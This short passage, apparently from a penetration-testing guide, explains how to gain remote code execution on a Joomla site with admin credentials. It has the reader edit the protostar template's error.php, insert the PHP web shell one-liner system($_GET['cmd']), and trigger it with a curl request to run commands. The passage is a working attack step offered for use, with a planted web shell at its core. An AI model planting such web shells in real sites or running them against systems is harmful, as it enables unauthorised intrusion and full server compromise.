If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.
Click on Templates on the bottom left under Configuration to pull up the templates menu.
Click on a template name. Let's choose protostar under the Template column header. This will bring us to the Templates: Customise page.
Finally, you can click on a page to pull up the page source. Let's choose the error.php page. We'll add a PHP one-liner to gain code execution as follows:
system($_GET['cmd']);
Save & Close
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
